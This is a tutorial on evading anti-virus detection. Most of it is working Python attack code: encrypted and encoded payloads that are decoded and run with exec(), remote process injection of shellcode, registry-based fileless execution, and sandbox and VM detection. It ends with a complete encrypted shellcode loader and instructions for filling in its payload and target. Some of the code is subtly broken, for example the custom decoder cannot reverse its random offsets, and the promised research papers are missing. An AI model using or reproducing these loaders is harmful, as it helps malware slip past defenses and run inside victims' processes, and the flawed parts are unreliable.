Bypass Anti Virus

Bypassing Anti Virus Detection

⚠️

This article is for educational purposes only. Bypassing anti-virus detection can be illegal and unethical if used maliciously. Always obtain proper authorization before testing security measures. The techniques described here should only be used in controlled environments for legitimate security research and penetration testing.

Anti-virus (AV) software is a critical component of modern computer security. However, there are legitimate reasons why developers, security researchers, and penetration testers might need to bypass AV detection. This article explores various techniques for evading AV detection, with a focus on modern code examples and practical use cases.

1. Advanced Encoding and Obfuscation

Modern AV bypass techniques often involve sophisticated encoding and obfuscation methods. Here are some advanced examples:

AES Encryption with Hardware Acceleration

Using AES encryption with hardware acceleration can provide strong obfuscation while maintaining performance:

aes_encrypt.py

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes
import base64

def encrypt_aes(plaintext, key):
    cipher = AES.new(key, AES.MODE_CBC)
    ct_bytes = cipher.encrypt(pad(plaintext.encode(), AES.block_size))
    iv = base64.b64encode(cipher.iv).decode('utf-8')
    ct = base64.b64encode(ct_bytes).decode('utf-8')
    return iv, ct

key = get_random_bytes(32)  # 256-bit key
plaintext = 'print("This is a potentially malicious payload")'
iv, ciphertext = encrypt_aes(plaintext, key)
print(f"IV: {iv}")
print(f"Ciphertext: {ciphertext}")

To decrypt and execute:

aes_decrypt.py

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64

def decrypt_aes(iv, ciphertext, key):
    iv = base64.b64decode(iv)
    ct = base64.b64decode(ciphertext)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    pt = unpad(cipher.decrypt(ct), AES.block_size)
    return pt.decode('utf-8')

# Use the key, IV, and ciphertext from the encryption step
decrypted_payload = decrypt_aes(iv, ciphertext, key)
exec(decrypted_payload)

Customized Encoding Scheme

Creating a custom encoding scheme can be effective against signature-based detection:

custom_encode.py

import random

def custom_encode(data):
    encoded = []
    for char in data:
        encoded.append(ord(char) + random.randint(1, 10))
    return ','.join(map(str, encoded))

payload = 'print("Custom encoded payload")'
encoded_payload = custom_encode(payload)
print(f"Encoded: {encoded_payload}")

Decoding and execution:

custom_decode.py

def custom_decode(encoded_data):
    decoded = ''
    for num in encoded_data.split(','):
        decoded += chr(int(num) - random.randint(1, 10))
    return decoded

decoded_payload = custom_decode(encoded_payload)
exec(decoded_payload)

2. Advanced Polymorphic Code

Modern polymorphic techniques often involve more complex transformations:

advanced_polymorphic.py

import random
import string

def generate_function_name():
    return ''.join(random.choice(string.ascii_lowercase) for _ in range(8))

def generate_polymorphic_code():
    func_name = generate_function_name()
    operations = ['+', '-', '*']
    op = random.choice(operations)
    num1 = random.randint(1, 100)
    num2 = random.randint(1, 100)

    code = f"""
def {func_name}(x, y):
    return x {op} y

result = {func_name}({num1}, {num2})
print(f"The result is: {{result}}")
"""
    return code

print(generate_polymorphic_code())

3. Advanced Process Injection

Modern process injection techniques often target specific processes and use more sophisticated methods:

advanced_process_injection.py

import ctypes
import ctypes.wintypes as wintypes

# Windows API constants and structures
PROCESS_ALL_ACCESS = 0x1F0FFF
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x40

# Windows API function prototypes
kernel32 = ctypes.windll.kernel32
VirtualAllocEx = kernel32.VirtualAllocEx
WriteProcessMemory = kernel32.WriteProcessMemory
CreateRemoteThread = kernel32.CreateRemoteThread
CloseHandle = kernel32.CloseHandle

def inject_code(pid, shellcode):
    # Open the target process
    h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)
    if not h_process:
        raise ctypes.WinError()

    # Allocate memory in the target process
    addr = VirtualAllocEx(h_process, 0, len(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
    if not addr:
        CloseHandle(h_process)
        raise ctypes.WinError()

    # Write shellcode to the allocated memory
    bytes_written = ctypes.c_size_t(0)
    if not WriteProcessMemory(h_process, addr, shellcode, len(shellcode), ctypes.byref(bytes_written)):
        CloseHandle(h_process)
        raise ctypes.WinError()

    # Create a remote thread to execute the shellcode
    thread_id = wintypes.DWORD(0)
    if not CreateRemoteThread(h_process, None, 0, addr, None, 0, ctypes.byref(thread_id)):
        CloseHandle(h_process)
        raise ctypes.WinError()

    CloseHandle(h_process)
    return thread_id.value

# Example usage (replace with actual shellcode and process ID)
shellcode = b"\x90\x90\x90\x90"  # Replace with actual shellcode
target_pid = 1234  # Replace with actual process ID

try:
    thread_id = inject_code(target_pid, shellcode)
    print(f"Code injected successfully. Remote thread ID: {thread_id}")
except WindowsError as e:
    print(f"Injection failed: {e}")

4. Advanced Fileless Malware

Modern fileless techniques often use legitimate system processes and APIs:

advanced_fileless.py

import winreg
import os
import base64
import ctypes

def create_registry_key(key_path, name, data):
    try:
        winreg.CreateKey(winreg.HKEY_CURRENT_USER, key_path)
        registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, key_path, 0, winreg.KEY_WRITE)
        winreg.SetValueEx(registry_key, name, 0, winreg.REG_SZ, data)
        winreg.CloseKey(registry_key)
        return True
    except WindowsError:
        return False

def execute_from_registry(key_path, name):
    try:
        registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, key_path, 0, winreg.KEY_READ)
        data, regtype = winreg.QueryValueEx(registry_key, name)
        winreg.CloseKey(registry_key)

        # Decode and execute the payload
        decoded_data = base64.b64decode(data)
        buffer = ctypes.create_string_buffer(decoded_data)
        function = ctypes.cast(buffer, ctypes.CFUNCTYPE(None))
        function()

        return True
    except WindowsError:
        return False

# Example usage
key_path = r"Software\MyCustomKey"
key_name = "Payload"

# Payload (replace with actual payload)
payload = base64.b64encode(b"\x90\x90\x90\x90").decode()

if create_registry_key(key_path, key_name, payload):
    print("Payload stored in registry")
    if execute_from_registry(key_path, key_name):
        print("Payload executed successfully")
    else:
        print("Failed to execute payload")
else:
    print("Failed to store payload in registry")

5. Advanced Sandbox Evasion

Modern sandbox evasion techniques often involve checking for specific artifacts and behaviors:

advanced_sandbox_evasion.py

import ctypes
import socket
import time
import psutil

def check_debugger():
    return ctypes.windll.kernel32.IsDebuggerPresent() != 0

def check_vm():
    return "VirtualBox" in psutil.virtual_memory().manufacturer or "VMware" in psutil.virtual_memory().manufacturer

def check_network():
    try:
        socket.setdefaulttimeout(1)
        socket.socket(socket.AF_INET, socket.SOCK_STREAM).connect(("www.google.com", 80))
        return True
    except socket.error:
        return False

def check_time_acceleration():
    start_time = time.time()
    time.sleep(10)
    end_time = time.time()
    return (end_time - start_time) < 9.5

def is_sandbox():
    return check_debugger() or check_vm() or not check_network() or check_time_acceleration()

if not is_sandbox():
    print("Executing payload...")
    # Add your payload here
else:
    print("Sandbox detected. Exiting...")

Real-Life Example: Bypassing AV with Encrypted Shellcode Loader

Here’s a more complex, real-world example of a shellcode loader that uses encryption and process injection to bypass AV detection:

encrypted_shellcode_loader.py

import ctypes
import ctypes.wintypes as wintypes
import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64

# Windows API constants and structures
PROCESS_ALL_ACCESS = 0x1F0FFF
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x40

# Windows API function prototypes
kernel32 = ctypes.windll.kernel32
VirtualAllocEx = kernel32.VirtualAllocEx
WriteProcessMemory = kernel32.WriteProcessMemory
CreateRemoteThread = kernel32.CreateRemoteThread
CloseHandle = kernel32.CloseHandle

def decrypt_aes(key, iv, ciphertext):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)
    return plaintext

def inject_shellcode(pid, shellcode):
    # Open the target process
    h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)
    if not h_process:
        raise ctypes.WinError()

    # Allocate memory in the target process
    addr = VirtualAllocEx(h_process, 0, len(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
    if not addr:
        CloseHandle(h_process)
        raise ctypes.WinError()

    # Write shellcode to the allocated memory
    bytes_written = ctypes.c_size_t(0)
    if not WriteProcessMemory(h_process, addr, shellcode, len(shellcode), ctypes.byref(bytes_written)):
        CloseHandle(h_process)
        raise ctypes.WinError()

    # Create a remote thread to execute the shellcode
    thread_id = wintypes.DWORD(0)
    if not CreateRemoteThread(h_process, None, 0, addr, None, 0, ctypes.byref(thread_id)):
        CloseHandle(h_process)
        raise ctypes.WinError()

    CloseHandle(h_process)
    return thread_id.value

# Encrypted shellcode (replace with your own)
encrypted_shellcode = "YOUR_ENCRYPTED_SHELLCODE_HERE"
iv = b"YOUR_IV_HERE"
key = b"YOUR_32_BYTE_KEY_HERE"

# Decrypt the shellcode
shellcode = decrypt_aes(key, iv, base64.b64decode(encrypted_shellcode))

# Target process ID (replace with actual PID)
target_pid = 1234

try:
    thread_id = inject_shellcode(target_pid, shellcode)
    print(f"Shellcode injected successfully. Remote thread ID: {thread_id}")
except WindowsError as e:
    print(f"Injection failed: {e}")

This example demonstrates several advanced techniques:

AES encryption to obfuscate the shellcode
Process injection to execute the shellcode in a legitimate process
Use of Windows API for memory allocation and thread creation

To use this code:

Replace YOUR_ENCRYPTED_SHELLCODE_HERE, YOUR_IV_HERE, and YOUR_32_BYTE_KEY_HERE with your actual encrypted shellcode, IV, and key.
Replace target_pid with the process ID of the target process.
Ensure you have the necessary permissions to inject into the target process.

Conclusion

Bypassing anti-virus detection is a complex and ever-evolving field. The techniques presented here represent some of the more advanced methods used by security professionals and malware authors alike. It’s crucial to remember that these techniques should only be used for legitimate purposes, such as security research and authorized penetration testing.

Here’s an overview of the modern AV bypass process:

graph TD
    A[Malicious Payload] --> B{Advanced Encryption}
    B --> C{Polymorphic Code Generation}
    C --> D{Process Selection}
    D --> E{Memory Injection}
    E --> F{Execution Obfuscation}
    F --> G{Sandbox/VM Detection}
    G --> H{AV Evasion Techniques}
    H --> I{Execution}
    I --> J{Post-Execution Cleanup}
    J --> K{Persistence Mechanism}
    K --> L{C2 Communication}

Remember, the techniques described here are constantly evolving, and what works today may not work tomorrow. Always stay updated on the latest security research and AV evasion techniques.

For more detailed information on advanced AV evasion techniques, refer to the following research papers:

⚠️

The code examples provided in this article are for educational purposes only. Misuse of these techniques can be illegal and unethical. Always ensure you have proper authorization before testing or deploying any security-related code.

Polymorphic Malware Command and Control